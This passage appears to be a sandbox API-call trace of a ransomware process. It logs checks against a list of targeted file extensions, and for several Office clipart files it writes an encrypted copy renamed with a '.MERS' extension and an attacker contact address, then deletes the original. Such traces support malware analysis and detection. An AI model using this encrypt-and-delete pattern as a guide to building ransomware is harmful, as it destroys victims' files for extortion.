(lpString=".xls") returned 4 [0268.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.623] lstrlenW (lpString=".xlsx") returned 5 [0268.623] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.623] lstrlenW (lpString=".ppt") returned 4 [0268.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0268.623] lstrlenW (lpString=".zip") returned 4 [0268.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.623] lstrlenW (lpString=".rar") returned 4 [0268.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.623] lstrlenW (lpString=".bz2") returned 4 [0268.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.623] lstrlenW (lpString=".7z") returned 3 [0268.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0268.623] lstrlenW (lpString=".dbf") returned 4 [0268.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0268.623] lstrlenW (lpString=".1cd") returned 4 [0268.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0268.624] lstrlenW (lpString=".jpg") returned 4 [0268.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0268.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0268.624] lstrlenW (lpString=".doc") returned 4 [0268.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.624] lstrlenW (lpString=".docx") returned 5 [0268.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.624] lstrlenW (lpString=".pdf") returned 4 [0268.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.624] lstrlenW (lpString=".xls") returned 4 [0268.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.624] lstrlenW (lpString=".xlsx") returned 5 [0268.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.624] lstrlenW (lpString=".ppt") returned 4 [0268.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0268.624] lstrlenW (lpString=".zip") returned 4 [0268.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.624] lstrlenW (lpString=".rar") returned 4 [0268.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.624] lstrlenW (lpString=".bz2") returned 4 [0268.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.624] lstrlenW (lpString=".7z") returned 3 [0268.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0268.624] lstrlenW (lpString=".dbf") returned 4 [0268.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0268.625] lstrlenW (lpString=".1cd") returned 4 [0268.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0268.625] lstrlenW (lpString=".jpg") returned 4 [0268.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.625] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.625] lstrlenW (lpString="AN01216_.WMF") returned 12 [0268.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0268.625] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=5836) returned 1 [0268.625] CloseHandle (hObject=0x284) returned 1 [0268.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 0x20 [0268.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0268.626] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.626] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0268.626] GetLastError () returned 0x0 [0268.626] ReadFile (in: hFile=0x284, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x16cc, lpOverlapped=0x0) returned 1 [0268.665] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x16d0, lpOverlapped=0x0) returned 1 [0268.666] ReadFile (in: hFile=0x284, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.666] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.666] SetEndOfFile (hFile=0x3e0) returned 1 [0268.666] CloseHandle (hObject=0x3e0) returned 1 [0268.666] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.666] SetEndOfFile (hFile=0x284) returned 1 [0268.668] CloseHandle (hObject=0x284) returned 1 [0268.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0268.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0268.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0268.816] lstrlenW (lpString=".doc") returned 4 [0268.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.816] lstrlenW (lpString=".docx") returned 5 [0268.816] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.816] lstrlenW (lpString=".pdf") returned 4 [0268.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.816] lstrlenW (lpString=".xls") returned 4 [0268.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.816] lstrlenW (lpString=".xlsx") returned 5 [0268.816] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.816] lstrlenW (lpString=".ppt") returned 4 [0268.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0268.816] lstrlenW (lpString=".zip") returned 4 [0268.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.816] lstrlenW (lpString=".rar") returned 4 [0268.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.816] lstrlenW (lpString=".bz2") returned 4 [0268.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.816] lstrlenW (lpString=".7z") returned 3 [0268.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0268.816] lstrlenW (lpString=".dbf") returned 4 [0268.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0268.816] lstrlenW (lpString=".1cd") returned 4 [0268.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0268.816] lstrlenW (lpString=".jpg") returned 4 [0268.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0268.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0268.817] lstrlenW (lpString=".doc") returned 4 [0268.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.817] lstrlenW (lpString=".docx") returned 5 [0268.817] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.817] lstrlenW (lpString=".pdf") returned 4 [0268.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.817] lstrlenW (lpString=".xls") returned 4 [0268.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.817] lstrlenW (lpString=".xlsx") returned 5 [0268.817] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.817] lstrlenW (lpString=".ppt") returned 4 [0268.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0268.817] lstrlenW (lpString=".zip") returned 4 [0268.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.817] lstrlenW (lpString=".rar") returned 4 [0268.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.817] lstrlenW (lpString=".bz2") returned 4 [0268.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.817] lstrlenW (lpString=".7z") returned 3 [0268.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0268.817] lstrlenW (lpString=".dbf") returned 4 [0268.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0268.817] lstrlenW (lpString=".1cd") returned 4 [0268.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0268.817] lstrlenW (lpString=".jpg") returned 4 [0268.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.818] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.818] lstrlenW (lpString="AN01251_.WMF") returned 12 [0268.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0268.818] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=2756) returned 1 [0268.818] CloseHandle (hObject=0x3d0) returned 1 [0268.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 0x20 [0268.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0268.818] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.818] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0268.820] GetLastError () returned 0x0 [0268.820] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0xac4, lpOverlapped=0x0) returned 1 [0268.927] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xad0, lpOverlapped=0x0) returned 1 [0268.928] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.928] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.928] SetEndOfFile (hFile=0x3c4) returned 1 [0268.929] CloseHandle (hObject=0x3c4) returned 1 [0268.929] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.929] SetEndOfFile (hFile=0x3d0) returned 1 [0268.930] CloseHandle (hObject=0x3d0) returned 1 [0268.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0268.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0268.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0268.931] lstrlenW (lpString=".doc") returned 4 [0268.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.931] lstrlenW (lpString=".docx") returned 5 [0268.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.931] lstrlenW (lpString=".pdf") returned 4 [0268.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.931] lstrlenW (lpString=".xls") returned 4 [0268.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.931] lstrlenW (lpString=".xlsx") returned 5 [0268.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.931] lstrlenW (lpString=".ppt") returned 4 [0268.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0268.931] lstrlenW (lpString=".zip") returned 4 [0268.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.931] lstrlenW (lpString=".rar") returned 4 [0268.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.931] lstrlenW (lpString=".bz2") returned 4 [0268.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.931] lstrlenW (lpString=".7z") returned 3 [0268.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0268.931] lstrlenW (lpString=".dbf") returned 4 [0268.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0268.931] lstrlenW (lpString=".1cd") returned 4 [0268.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0268.931] lstrlenW (lpString=".jpg") returned 4 [0268.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0268.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0268.932] lstrlenW (lpString=".doc") returned 4 [0268.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.932] lstrlenW (lpString=".docx") returned 5 [0268.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.932] lstrlenW (lpString=".pdf") returned 4 [0268.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.932] lstrlenW (lpString=".xls") returned 4 [0268.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.932] lstrlenW (lpString=".xlsx") returned 5 [0268.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.932] lstrlenW (lpString=".ppt") returned 4 [0268.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0268.932] lstrlenW (lpString=".zip") returned 4 [0268.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.932] lstrlenW (lpString=".rar") returned 4 [0268.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.932] lstrlenW (lpString=".bz2") returned 4 [0268.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.932] lstrlenW (lpString=".7z") returned 3 [0268.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0268.932] lstrlenW (lpString=".dbf") returned 4 [0268.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0268.932] lstrlenW (lpString=".1cd") returned 4 [0268.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0268.932] lstrlenW (lpString=".jpg") returned 4 [0268.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.933] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.933] lstrlenW (lpString="AN03500_.WMF") returned 12 [0268.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0268.933] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=9240) returned 1 [0268.933] CloseHandle (hObject=0x3d0) returned 1 [0268.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 0x20 [0268.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0268.933] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.933] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0268.942] GetLastError () returned 0x0 [0268.942] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x2418, lpOverlapped=0x0) returned 1 [0269.273] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x2420, lpOverlapped=0x0) returned 1 [0269.274] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0269.274] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.274] SetEndOfFile (hFile=0x3c4) returned 1 [0269.283] CloseHandle (hObject=0x3c4) returned 1 [0269.283] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.283] SetEndOfFile (hFile=0x3d0) returned 1 [0269.285] CloseHandle (hObject=0x3d0) returned 1 [0269.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0269.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0269.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0269.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0269.285] lstrlenW (lpString=".doc") returned 4 [0269.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.285] lstrlenW (lpString=".docx") returned 5 [0269.285] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.285] lstrlenW (lpString=".pdf") returned 4 [0269.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.285] lstrlenW (lpString=".xls") returned 4 [0269.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.285] lstrlenW (lpString=".xlsx") returned 5 [0269.285] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.285] lstrlenW (lpString=".ppt") returned 4 [0269.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0269.285] lstrlenW (lpString=".zip") returned 4 [0269.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.285] lstrlenW (lpString=".rar") returned 4 [0269.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.286] lstrlenW (lpString=".bz2") returned 4 [0269.286] lstrcmpiW 